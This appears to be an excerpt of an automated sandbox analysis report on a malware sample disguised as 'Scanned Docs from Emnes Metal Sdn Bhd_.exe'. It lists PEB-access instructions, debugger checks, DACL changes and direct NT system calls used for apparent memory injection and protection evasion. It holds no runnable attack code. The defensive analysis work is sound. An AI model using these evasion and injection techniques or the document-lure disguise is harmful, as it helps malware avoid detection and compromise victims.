Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CEA456 mov eax, dword ptr fs:[00000030h]	1_2_03CEA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2645D mov eax, dword ptr fs:[00000030h]	1_2_03C2645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5245A mov eax, dword ptr fs:[00000030h]	1_2_03C5245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CBC460 mov ecx, dword ptr fs:[00000030h]	1_2_03CBC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5A470 mov eax, dword ptr fs:[00000030h]	1_2_03C5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5A470 mov eax, dword ptr fs:[00000030h]	1_2_03C5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5A470 mov eax, dword ptr fs:[00000030h]	1_2_03C5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C68402 mov eax, dword ptr fs:[00000030h]	1_2_03C68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C68402 mov eax, dword ptr fs:[00000030h]	1_2_03C68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C68402 mov eax, dword ptr fs:[00000030h]	1_2_03C68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2E420 mov eax, dword ptr fs:[00000030h]	1_2_03C2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2E420 mov eax, dword ptr fs:[00000030h]	1_2_03C2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2E420 mov eax, dword ptr fs:[00000030h]	1_2_03C2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2C427 mov eax, dword ptr fs:[00000030h]	1_2_03C2C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB6420 mov eax, dword ptr fs:[00000030h]	1_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB6420 mov eax, dword ptr fs:[00000030h]	1_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB6420 mov eax, dword ptr fs:[00000030h]	1_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB6420 mov eax, dword ptr fs:[00000030h]	1_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB6420 mov eax, dword ptr fs:[00000030h]	1_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB6420 mov eax, dword ptr fs:[00000030h]	1_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB6420 mov eax, dword ptr fs:[00000030h]	1_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C50BCB mov eax, dword ptr fs:[00000030h]	1_2_03C50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C50BCB mov eax, dword ptr fs:[00000030h]	1_2_03C50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C50BCB mov eax, dword ptr fs:[00000030h]	1_2_03C50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C30BCD mov eax, dword ptr fs:[00000030h]	1_2_03C30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C30BCD mov eax, dword ptr fs:[00000030h]	1_2_03C30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C30BCD mov eax, dword ptr fs:[00000030h]	1_2_03C30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDEBD0 mov eax, dword ptr fs:[00000030h]	1_2_03CDEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C38BF0 mov eax, dword ptr fs:[00000030h]	1_2_03C38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C38BF0 mov eax, dword ptr fs:[00000030h]	1_2_03C38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C38BF0 mov eax, dword ptr fs:[00000030h]	1_2_03C38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5EBFC mov eax, dword ptr fs:[00000030h]	1_2_03C5EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CBCBF0 mov eax, dword ptr fs:[00000030h]	1_2_03CBCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40BBE mov eax, dword ptr fs:[00000030h]	1_2_03C40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40BBE mov eax, dword ptr fs:[00000030h]	1_2_03C40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE4BB0 mov eax, dword ptr fs:[00000030h]	1_2_03CE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE4BB0 mov eax, dword ptr fs:[00000030h]	1_2_03CE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE4B4B mov eax, dword ptr fs:[00000030h]	1_2_03CE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CE4B4B mov eax, dword ptr fs:[00000030h]	1_2_03CE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D02B57 mov eax, dword ptr fs:[00000030h]	1_2_03D02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D02B57 mov eax, dword ptr fs:[00000030h]	1_2_03D02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D02B57 mov eax, dword ptr fs:[00000030h]	1_2_03D02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D02B57 mov eax, dword ptr fs:[00000030h]	1_2_03D02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC6B40 mov eax, dword ptr fs:[00000030h]	1_2_03CC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC6B40 mov eax, dword ptr fs:[00000030h]	1_2_03CC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFAB40 mov eax, dword ptr fs:[00000030h]	1_2_03CFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD8B42 mov eax, dword ptr fs:[00000030h]	1_2_03CD8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C28B50 mov eax, dword ptr fs:[00000030h]	1_2_03C28B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDEB50 mov eax, dword ptr fs:[00000030h]	1_2_03CDEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C2CB7E mov eax, dword ptr fs:[00000030h]	1_2_03C2CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D04B00 mov eax, dword ptr fs:[00000030h]	1_2_03D04B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5EB20 mov eax, dword ptr fs:[00000030h]	1_2_03C5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5EB20 mov eax, dword ptr fs:[00000030h]	1_2_03C5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF8B28 mov eax, dword ptr fs:[00000030h]	1_2_03CF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CF8B28 mov eax, dword ptr fs:[00000030h]	1_2_03CF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C86ACC mov eax, dword ptr fs:[00000030h]	1_2_03C86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C86ACC mov eax, dword ptr fs:[00000030h]	1_2_03C86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C86ACC mov eax, dword ptr fs:[00000030h]	1_2_03C86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C30AD0 mov eax, dword ptr fs:[00000030h]	1_2_03C30AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C64AD0 mov eax, dword ptr fs:[00000030h]	1_2_03C64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C64AD0 mov eax, dword ptr fs:[00000030h]	1_2_03C64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6AAEE mov eax, dword ptr fs:[00000030h]	1_2_03C6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6AAEE mov eax, dword ptr fs:[00000030h]	1_2_03C6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D04A80 mov eax, dword ptr fs:[00000030h]	1_2_03D04A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C68A90 mov edx, dword ptr fs:[00000030h]	1_2_03C68A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C38AA0 mov eax, dword ptr fs:[00000030h]	1_2_03C38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C38AA0 mov eax, dword ptr fs:[00000030h]	1_2_03C38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C86AA4 mov eax, dword ptr fs:[00000030h]	1_2_03C86AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C36A50 mov eax, dword ptr fs:[00000030h]	1_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C36A50 mov eax, dword ptr fs:[00000030h]	1_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C36A50 mov eax, dword ptr fs:[00000030h]	1_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C36A50 mov eax, dword ptr fs:[00000030h]	1_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C36A50 mov eax, dword ptr fs:[00000030h]	1_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C36A50 mov eax, dword ptr fs:[00000030h]	1_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C36A50 mov eax, dword ptr fs:[00000030h]	1_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40A5B mov eax, dword ptr fs:[00000030h]	1_2_03C40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C40A5B mov eax, dword ptr fs:[00000030h]	1_2_03C40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6CA6F mov eax, dword ptr fs:[00000030h]	1_2_03C6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6CA6F mov eax, dword ptr fs:[00000030h]	1_2_03C6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6CA6F mov eax, dword ptr fs:[00000030h]	1_2_03C6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CDEA60 mov eax, dword ptr fs:[00000030h]	1_2_03CDEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CACA72 mov eax, dword ptr fs:[00000030h]	1_2_03CACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CACA72 mov eax, dword ptr fs:[00000030h]	1_2_03CACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CBCA11 mov eax, dword ptr fs:[00000030h]	1_2_03CBCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6CA24 mov eax, dword ptr fs:[00000030h]	1_2_03C6CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5EA2E mov eax, dword ptr fs:[00000030h]	1_2_03C5EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C54A35 mov eax, dword ptr fs:[00000030h]	1_2_03C54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C54A35 mov eax, dword ptr fs:[00000030h]	1_2_03C54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC69C0 mov eax, dword ptr fs:[00000030h]	1_2_03CC69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C649D0 mov eax, dword ptr fs:[00000030h]	1_2_03C649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFA9D3 mov eax, dword ptr fs:[00000030h]	1_2_03CFA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CBE9E0 mov eax, dword ptr fs:[00000030h]	1_2_03CBE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C629F9 mov eax, dword ptr fs:[00000030h]	1_2_03C629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C629F9 mov eax, dword ptr fs:[00000030h]	1_2_03C629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]	1_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]	1_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]	1_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]	1_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]	1_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]	1_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]	1_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]	1_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]	1_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]	1_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]	1_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]	1_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C429A0 mov eax, dword ptr fs:[00000030h]	1_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C309AD mov eax, dword ptr fs:[00000030h]	1_2_03C309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C309AD mov eax, dword ptr fs:[00000030h]	1_2_03C309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB89B3 mov esi, dword ptr fs:[00000030h]	1_2_03CB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB89B3 mov eax, dword ptr fs:[00000030h]	1_2_03CB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB89B3 mov eax, dword ptr fs:[00000030h]	1_2_03CB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB0946 mov eax, dword ptr fs:[00000030h]	1_2_03CB0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D04940 mov eax, dword ptr fs:[00000030h]	1_2_03D04940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C56962 mov eax, dword ptr fs:[00000030h]	1_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C56962 mov eax, dword ptr fs:[00000030h]	1_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C56962 mov eax, dword ptr fs:[00000030h]	1_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C7096E mov eax, dword ptr fs:[00000030h]	1_2_03C7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C7096E mov edx, dword ptr fs:[00000030h]	1_2_03C7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C7096E mov eax, dword ptr fs:[00000030h]	1_2_03C7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD4978 mov eax, dword ptr fs:[00000030h]	1_2_03CD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CD4978 mov eax, dword ptr fs:[00000030h]	1_2_03CD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CBC97C mov eax, dword ptr fs:[00000030h]	1_2_03CBC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAE908 mov eax, dword ptr fs:[00000030h]	1_2_03CAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CAE908 mov eax, dword ptr fs:[00000030h]	1_2_03CAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CBC912 mov eax, dword ptr fs:[00000030h]	1_2_03CBC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C28918 mov eax, dword ptr fs:[00000030h]	1_2_03C28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C28918 mov eax, dword ptr fs:[00000030h]	1_2_03C28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CB892A mov eax, dword ptr fs:[00000030h]	1_2_03CB892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CC892B mov eax, dword ptr fs:[00000030h]	1_2_03CC892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C5E8C0 mov eax, dword ptr fs:[00000030h]	1_2_03C5E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03D008C0 mov eax, dword ptr fs:[00000030h]	1_2_03D008C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CFA8E4 mov eax, dword ptr fs:[00000030h]	1_2_03CFA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6C8F9 mov eax, dword ptr fs:[00000030h]	1_2_03C6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C6C8F9 mov eax, dword ptr fs:[00000030h]	1_2_03C6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C30887 mov eax, dword ptr fs:[00000030h]	1_2_03C30887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CBC89D mov eax, dword ptr fs:[00000030h]	1_2_03CBC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C42840 mov ecx, dword ptr fs:[00000030h]	1_2_03C42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C60854 mov eax, dword ptr fs:[00000030h]	1_2_03C60854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C34859 mov eax, dword ptr fs:[00000030h]	1_2_03C34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C34859 mov eax, dword ptr fs:[00000030h]	1_2_03C34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03CBE872 mov eax, dword ptr fs:[00000030h]	1_2_03CBE872

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002E0B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

0_2_002E0B62

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002B2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_002B2622
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002A083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_002A083F
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002A09D5 SetUnhandledExceptionFilter,	0_2_002A09D5
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002A0C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_002A0C21

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
